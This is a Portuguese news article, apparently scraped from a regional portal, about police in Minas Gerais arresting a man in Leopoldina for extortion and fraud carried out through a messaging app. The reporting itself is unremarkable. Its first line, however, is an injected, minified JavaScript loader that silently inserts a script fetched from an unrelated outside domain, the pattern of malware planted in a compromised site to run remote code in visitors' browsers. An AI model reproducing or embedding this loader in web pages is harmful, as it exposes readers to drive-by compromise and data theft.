;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); PCMG prende suspeito por extorsão e estelionato em Leopoldina. - Portal Carangola

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PCMG prende suspeito por extorsão e estelionato em Leopoldina.

A Polícia Civil do Estado de Minas Gerais (PCMG) prendeu, na terça-feira (10/1), um homem, de 31 anos, suspeitos de praticar os crimes de extorsão e estelionato, cometidos no município de Além Paraíba e região, na Zona da Mata mineira. O investigado foi preso em flagrante na cidade de Leopoldina, durante ação deflagrada pela PCMG, com apoio da Polícia Militar de Minas Gerais (PMMG).

Após seis meses de investigações realizadas pela Delegacia de Polícia Civil em Além Paraíba, foi apurado que o suspeito realizava a prática criminosa por meio de aplicativo de mensagem. “Ele extorquia diversas vítimas por meio do aplicativo. Normalmente, as vítimas eram pessoas conhecidas dele ou de sua esposa. Quando ele ficava sabendo de algum segredo delas ou algo íntimo das mesmas, passava a ameaçar e extorquir, pedindo dinheiro para que não viesse a público, fazendo ameaças”, explica o delegado Thiago Carvalho Couri.

Investigações apontaram que o homem utilizava as contas bancárias da esposa dele e de seu próprio pai para receber os valores cobrados das vítimas. “No ano de 2022, o autor foi identificado, qualificado e indiciado”, informou o delegado, complementando que, ainda assim, na oportunidade, mesmo ciente dos procedimentos em seu desfavor, chegou a cometer a prática criminosa contra duas meninas, em Além Paraíba.

Já no início deste ano, ele também voltou a extorquir outra vítima na cidade, que chegou a efetuar depósitos na conta do pai do suspeito. “Ela procurou a Polícia Civil em Além Paraíba e relatou o ocorrido, tendo, de imediato, os policiais civis identificando o autor. Diante dos fatos, levantamentos apontaram que o homem estava homiziado na cidade de Leopoldina, onde ele foi preso com o aparelho de celular dele, objeto do crime”, conta Thiago.

O investigado confessou ter cometido a prática criminosa, bem como disse que utilizava o aparelho de sua esposa, que não tinha conhecimento dos fatos.

Após a formalização do flagrante na delegacia, ele foi encaminhado ao sistema prisional e permanece à disposição da Justiça.

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